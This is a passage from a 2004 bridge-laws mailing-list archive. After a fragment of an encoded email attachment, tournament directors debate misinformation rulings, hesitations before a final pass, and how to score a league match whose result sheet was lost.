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 ------=_NextPart_000_0010_0000424C.00000BC0-- From gesta@tiscali.co.uk Tue May 11 22:22:06 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 11 May 2004 22:22:06 +0100 Subject: [blml] Cavendish ruling -- final deal References: Message-ID: <005f01c4379e$558beb10$e5db403e@multivisionoem> Grattan Endicott To: "blml" Sent: Tuesday, May 11, 2004 7:39 AM Subject: Re: [blml] Cavendish ruling -- final deal > > On Tuesday, May 11, 2004, at 01:38 US/Eastern, > richard.hills@immi.gov.au wrote: > > > In such a scale-balanced case, the Law 75 > > footnote requires that the TD tie-break by ruling > > that a "misexplanation" infraction exists. > > Does it? The footnote requires such a ruling "in the > absence of evidence to the contrary" but there *is* > such evidence here. It seems to me the law requires > the TD to weigh the evidence and make a judgment > call as to whether it was a misbid or a misexplanation. > That is *not* the same thing as what Richard says above. > +=+ The 'evidence to the contrary' must be conclusive, in the Director's opinion, if he is not to rule 'misinformation'. It seems to me questionable however to say that a player can misbid if he has no agreement to conform to. Absent MI it would seem there is a non-infringing 40A situation. I do have some concern that a player at this level, in the South seat, did not find the switch on the evidence before him. I would want to think about that, and - in the event that I rule MI - how it might modify my award. I am inclined to be less forgiving of it than James Hudson is. ~ Grattan ~ +=+ From richard.hills@immi.gov.au Wed May 12 00:10:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 12 May 2004 09:10:18 +1000 Subject: [blml] Cavendish ruling -- final deal Message-ID: Grattan Endicott: >+=+ The 'evidence to the contrary' must be conclusive, in >the Director's opinion, if he is not to rule 'misinformation'. >It seems to me questionable however to say that a player >can misbid if he has no agreement to conform to. Absent >MI it would seem there is a non-infringing 40A situation. [snip] Richard James Hills: This is a rather idiosyncratic Law 40A exclusive-or Law 75 conundrum. Most Law 40A xor Law 75 decisions involve the TD ruling whether or not the partnership has a *pre-existing* implicit partnership agreement. In this case, however, the partnership had a pre-existing explicit agreement about transfer responses, but the initial part of their explicit pre-existing transfer responses agreement had been invalidated by the SO's CoC. So, in this case, the Law 40A xor Law 75 ruling is predicated on whether or not the partnership has a *post-existing* implicit partnership agreement that secondary transfer responses would be applied to a base of initial non-transfer responses. Best wishes RJH From blml@blakjak.com Wed May 12 02:38:07 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 02:38:07 +0100 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <000001c43769$5028ee50$6900a8c0@WINXP> References: <3o7i2NVFGOoAFwfu@blakjak.demon.co.uk> <000001c43769$5028ee50$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >......... >> >> Is this an infraction? >> > >> >No, it is not an infraction (unless the time is spent for the sole or >> main >> >purpose of misleading or discomforting declarer). >> >> I do not think this is what the Law says: if the effect is to mislead >> declarer then it is illegal: it does not need to be the purpose. >> >> For example, if you hesitate with a singleton the TD will adjust if >> there is damage: it may be that you were hesitating for some different >> reason, not deliberately to mislead [eg you thought a different suit had >> been led]. > >I believe we agree that it requires some bridge reason for the hesitation to >be "legal". (And for instance considering how to continue in the next trick >is NOT a bridge reason for hesitating with a singleton). > >If there is no bridge reason that I as a Director can see (accept) then that >player will have the hell of a job convincing me that his hesitation was not >for the purpose of misleading the declarer, especially if he did not say >something like for instance: "Sorry lads, I had nothing to think about" to >diminish the effect of his hesitation when his mind returned to the game. But why waste your time? The Law is not interested in the purpose of the hesitation, but its effect. If he had no demonstrable bridge reason you adjust: you do not care whether he was cheating or asleep. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 02:43:11 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 02:43:11 +0100 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <024f01c43782$4ba04f90$a301a8c0@fuegolabs.com> References: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> <024f01c43782$4ba04f90$a301a8c0@fuegolabs.com> Message-ID: Luis Argerich wrote >From: "David Stevenson" >> >1NT pass 2c pass >> >2d pass pass * >> Thinking is only an infraction if it misleads the opponents [L73D1, >> second sentence]. So long as the player held that hand there is no >> infraction. >> >> The break in tempo also provides unauthorised information to his >> partner. So, if at any time during the defence he chooses a play that >> was suggested over a logical alternative play by the thinking then there >> could be an adjustment. But it would be the play that was the >> infraction, not the hesitation. >I wonder how you determine when a play can be influenced by UI and when >not. It is the same as deciding whether bids are legitimate after UI: has he chosen amongst LAs one suggested by the hesitation? No, it is not always easy - UI cases often are not. But it is a matter of bridge judgement. > In this particular case the full hand was: > > North: xxxx, QJxx, JT8x, x >West: x,Axx,AQxxx,T9xxx East: AKJxx, Txxx, 9x, >Jx > South: QTx, Kx, Kxx, AKQxx > >The play with west on lead was: >low spade, low, King, low >Spade ace, Ten, heart, spade >Spade, Queen, ruff, spade >heart ace, low, low, low, >heart, low, low, King >Club ace, low, low, low >Club King, low, spade, Jack >Club, low, ruffed with the 8, overrruffed with the 9 >heart, club, ruff, heart >Etc for down 3 I think that the lead is evident, and the later irrelevant to the UI, so no adjustment. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 12 02:48:24 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 02:48:24 +0100 Subject: [blml] A new one Message-ID: Two teams play a league match, and post the result in the correct way by filling in a return and lodging it with the club where they played. So neither team has done anything wrong. But the club loses the return. Now, it is some considerable time later when it becomes apparent that the return has been lost, and memories have faded. In fact no-one is sure what the score was. I am not sure of the details - not that they matter - so let us say that on a 30VP scale, the match result was definitely a win to team A, by 22-8, 23-7, 24-6 or 25-5. By the time this comes to light it is possible that team A can win the league - but it is close. Quite possibly 25-5 will win the league and 22-8 will not. Their opponents are in the relegation zone, with similar effects. So what do you do? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Wed May 12 02:42:24 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 12 May 2004 11:42:24 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: [big snip] >I look forward to the scenario where West requests a >review and South gives one thus making all previous >calls UI to North! > >Tim What's the problem? Law 73A1, "Communication between partners during the auction and play shall be effected only by means of the calls and plays themselves." South's response to West's Law 20B request for a review may communicate to North some extraneous information. If that extraneous information is that either South has misinterpreted the previous auction, or that North has misinterpreted the previous auction, then that extraneous information communicated from South to North is and should be UI. Best wishes RJH From richard.hills@immi.gov.au Wed May 12 02:52:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 12 May 2004 11:52:19 +1000 Subject: [blml] Long considerations before final pass: Is this an infraction? Message-ID: David Stevenson: >Thinking is only an infraction if it misleads the >opponents [L73D1, second sentence]. Richard James Hills: Quibble. Thinking might sometimes be an infraction of the Law 90B2 prohibition against unduly slow play. I am a notorious non-thinker at the bridge table. My philosophy is that it is too humiliating to waste a quarter-hour thinking time, and then still produce an irrational call or play. It is much more fun to produce irrational calls or plays with celerity and panache. :-) Best wishes RJH From grabiner@alumni.princeton.edu Wed May 12 03:08:00 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Tue, 11 May 2004 22:08:00 -0400 Subject: [blml] A new one In-Reply-To: Message-ID: <5.1.1.6.0.20040511220533.01dc0e88@mail.comcast.net> At 09:48 PM 5/11/2004, David Stevenson wrote: > Two teams play a league match, and post the result in the correct way > by filling in a return and lodging it with the club where they played. So > neither team has done anything wrong. But the club loses the return. > > Now, it is some considerable time later when it becomes apparent that > the return has been lost, and memories have faded. In fact no-one is > sure what the score was. > > I am not sure of the details - not that they matter - so let us say > that on a 30VP scale, the match result was definitely a win to team A, by > 22-8, 23-7, 24-6 or 25-5. > > By the time this comes to light it is possible that team A can win the > league - but it is close. Quite possibly 25-5 will win the league and > 22-8 will not. Their opponents are in the relegation zone, with similar > effects. > > So what do you do? I would treat this analogously to the L82 adjustment when the TD has made an incorrect ruling and the correct ruling cannot be rectified. Neither team is at fault, so both teams are entitled to the highest score that was likely, which would probably be 25-8, but it might be 24-8 if it was not judged likely that team A had won by that much. From wayne.burrows@xtra.co.nz Wed May 12 03:12:08 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 12 May 2004 14:12:08 +1200 Subject: [blml] A new one In-Reply-To: Message-ID: <000401c437c6$8855c070$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Wednesday, 12 May 2004 1:48 p.m. > To: blml@rtflb.org > Subject: [blml] A new one > > > > Two teams play a league match, and post the result in the > correct way > by filling in a return and lodging it with the club where > they played. > So neither team has done anything wrong. But the club loses > the return. > > Now, it is some considerable time later when it becomes > apparent that > the return has been lost, and memories have faded. In fact no-one is > sure what the score was. > > I am not sure of the details - not that they matter - so > let us say > that on a 30VP scale, the match result was definitely a win > to team A, > by 22-8, 23-7, 24-6 or 25-5. > > By the time this comes to light it is possible that team A > can win the > league - but it is close. Quite possibly 25-5 will win the > league and > 22-8 will not. Their opponents are in the relegation zone, > with similar > effects. > > So what do you do? 25-8 Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Wed May 12 04:05:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 12 May 2004 13:05:00 +1000 Subject: [blml] A new one Message-ID: David Stevenson: >>Two teams play a league match, and post the >>result in the correct way by filling in a >>return and lodging it with the club where >>they played. So neither team has done >>anything wrong. But the club loses the >>return. >> >>Now, it is some considerable time later when >>it becomes apparent that the return has been >>lost, and memories have faded. In fact no- >>one is sure what the score was. >> >>I am not sure of the details - not that they >>matter - so let us say that on a 30VP scale, >>the match result was definitely a win to >>team A, by 22-8, 23-7, 24-6 or 25-5. >> >>By the time this comes to light it is >>possible that team A can win the league - but >>it is close. Quite possibly 25-5 will win >>the league and 22-8 will not. Their opponents >>are in the relegation zone, with similar >>effects. >> >>So what do you do? Law 79C: >An error in computing or tabulating the agreed- >upon score, whether made by a player or scorer, >may be corrected until the expiration of the >period specified by the sponsoring >organisation. Unless the sponsoring >organisation specifies a later time, this >correction period expires 30 minutes after the >official score has been made available for >inspection. Richard James Hills: Since the sponsoring organisation lost the official score, it has not yet been made available for inspection, so there is still time for the scoring error to be corrected. Law 81C10: >The Director's duties and powers normally >include the following: >to collect scores and tabulate results. Law 82C: >If the Director has given a ruling that he >or the Chief Director subsequently determines >to be incorrect, and if no rectification will >allow the board to be scored normally, he >shall award an adjusted score, considering >both sides as non-offending for that purpose. Law 86A: >When the Director chooses to award an >artificial adjusted score of average plus or >average minus in IMP play, that score is plus >3 IMPs or minus 3 IMPs respectively. Richard James Hills: The combined effect of Law 81C10, Law 82C, and Law 86A, suggests that both teams should be awarded the ArtAS of +3 imps for every board that they played in their match, and that the ensuing totals should then be converted to victory points. Best wishes RJH From hermandw@hdw.be Wed May 12 07:43:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 12 May 2004 08:43:58 +0200 Subject: [blml] A new one In-Reply-To: References: Message-ID: <40A1C7AE.6080001@hdw.be> Hello David, did you make this one up? I find it hard to believe that a result can be lost for such a long time without being missed that eight players have been able to lose not only their papers from the match, but also their memories of it. I would ask the eight players to sit down and agree on some score. Possibly giving them the benefit of the doubt and awarding 31 or 32 VP, but not more than that. So 24-7 looks about right. David Stevenson wrote: > > Two teams play a league match, and post the result in the correct way > by filling in a return and lodging it with the club where they played. > So neither team has done anything wrong. But the club loses the return. > > Now, it is some considerable time later when it becomes apparent that > the return has been lost, and memories have faded. In fact no-one is > sure what the score was. > > I am not sure of the details - not that they matter - so let us say > that on a 30VP scale, the match result was definitely a win to team A, > by 22-8, 23-7, 24-6 or 25-5. > > By the time this comes to light it is possible that team A can win the > league - but it is close. Quite possibly 25-5 will win the league and > 22-8 will not. Their opponents are in the relegation zone, with similar > effects. > > So what do you do? > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Wed May 12 09:36:00 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 12 May 2004 10:36:00 +0200 Subject: [blml] A new one In-Reply-To: Message-ID: <000001c437fc$2796b150$6900a8c0@WINXP> I shall need to know: What do the regulations say about which team = ("home", "away", "winning" or "losing") is responsible for handing in the return = and what do they say about returns not handed in within the prescribed time limit? Leagues in Norway are usually arranged as round robin matches where for = each match one team is defined as the home team and the other the away team. = The home team is responsible for handing in the return (signed by both = teams) usually within 10 minutes after each match. Now the whole case depends upon whether the club where your teams played = was just hosting that single match and received the return as "agent" for = that team responsible; or was hosting a complete session as "agent" for the = SO.=20 I must assume the first case (otherwise it is surprising that only the return from this match could be lost) and in that case the return has = not been handed in correctly. An agent does not relieve a party from his obligations; the agent simply acts on his behalf.=20 However, if the club was indeed acting as agent for the SO the situation = has been caused by a SO error (in which case the whole league could be in jeopardy). The case sounds fishy to me. Did this really happen? Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > David Stevenson > Sent: 12. mai 2004 03:48 > To: blml@rtflb.org > Subject: [blml] A new one >=20 >=20 > Two teams play a league match, and post the result in the correct = way > by filling in a return and lodging it with the club where they played. > So neither team has done anything wrong. But the club loses the = return. >=20 > Now, it is some considerable time later when it becomes apparent = that > the return has been lost, and memories have faded. In fact no-one is > sure what the score was. >=20 > I am not sure of the details - not that they matter - so let us say > that on a 30VP scale, the match result was definitely a win to team A, > by 22-8, 23-7, 24-6 or 25-5. >=20 > By the time this comes to light it is possible that team A can win = the > league - but it is close. Quite possibly 25-5 will win the league and > 22-8 will not. Their opponents are in the relegation zone, with = similar > effects. >=20 > So what do you do? >=20 > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =3D( + = )=3D > Lawspage: http://blakjak.com/lws_menu.htm ~ >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From grandeval@vejez.fsnet.co.uk Wed May 12 09:38:35 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 12 May 2004 09:38:35 +0100 Subject: [blml] Cavendish ruling -- final deal References: Message-ID: <000601c437fd$0bcf3900$20b487d9@4nrw70j> Grattan Endicott To: Sent: Wednesday, May 12, 2004 12:10 AM Subject: Re: [blml] Cavendish ruling -- final deal > > So, in this case, the Law 40A xor Law 75 ruling is predicated > on whether or not the partnership has a *post-existing* > implicit partnership agreement that secondary transfer > responses would be applied to a base of initial non-transfer > responses. > +=+ I am wary of jumping in with both feet because I was not in the committee room to get the feel of the case. So I have not made the judgement, only referring to principle and the matters I would have wished to pursue. Being pushed, as for example by the above comment, I would incline to a view that the margin of doubt has not been cleared up, the Director may well feel that the evidence is not conclusive. If this is so then he rules misinformation, and the committee does so also if nothing comes out in the committee room that is wholly persuasive to the contrary. I would then be left still with the weight of South's contribution to his own demise to think about. ~ 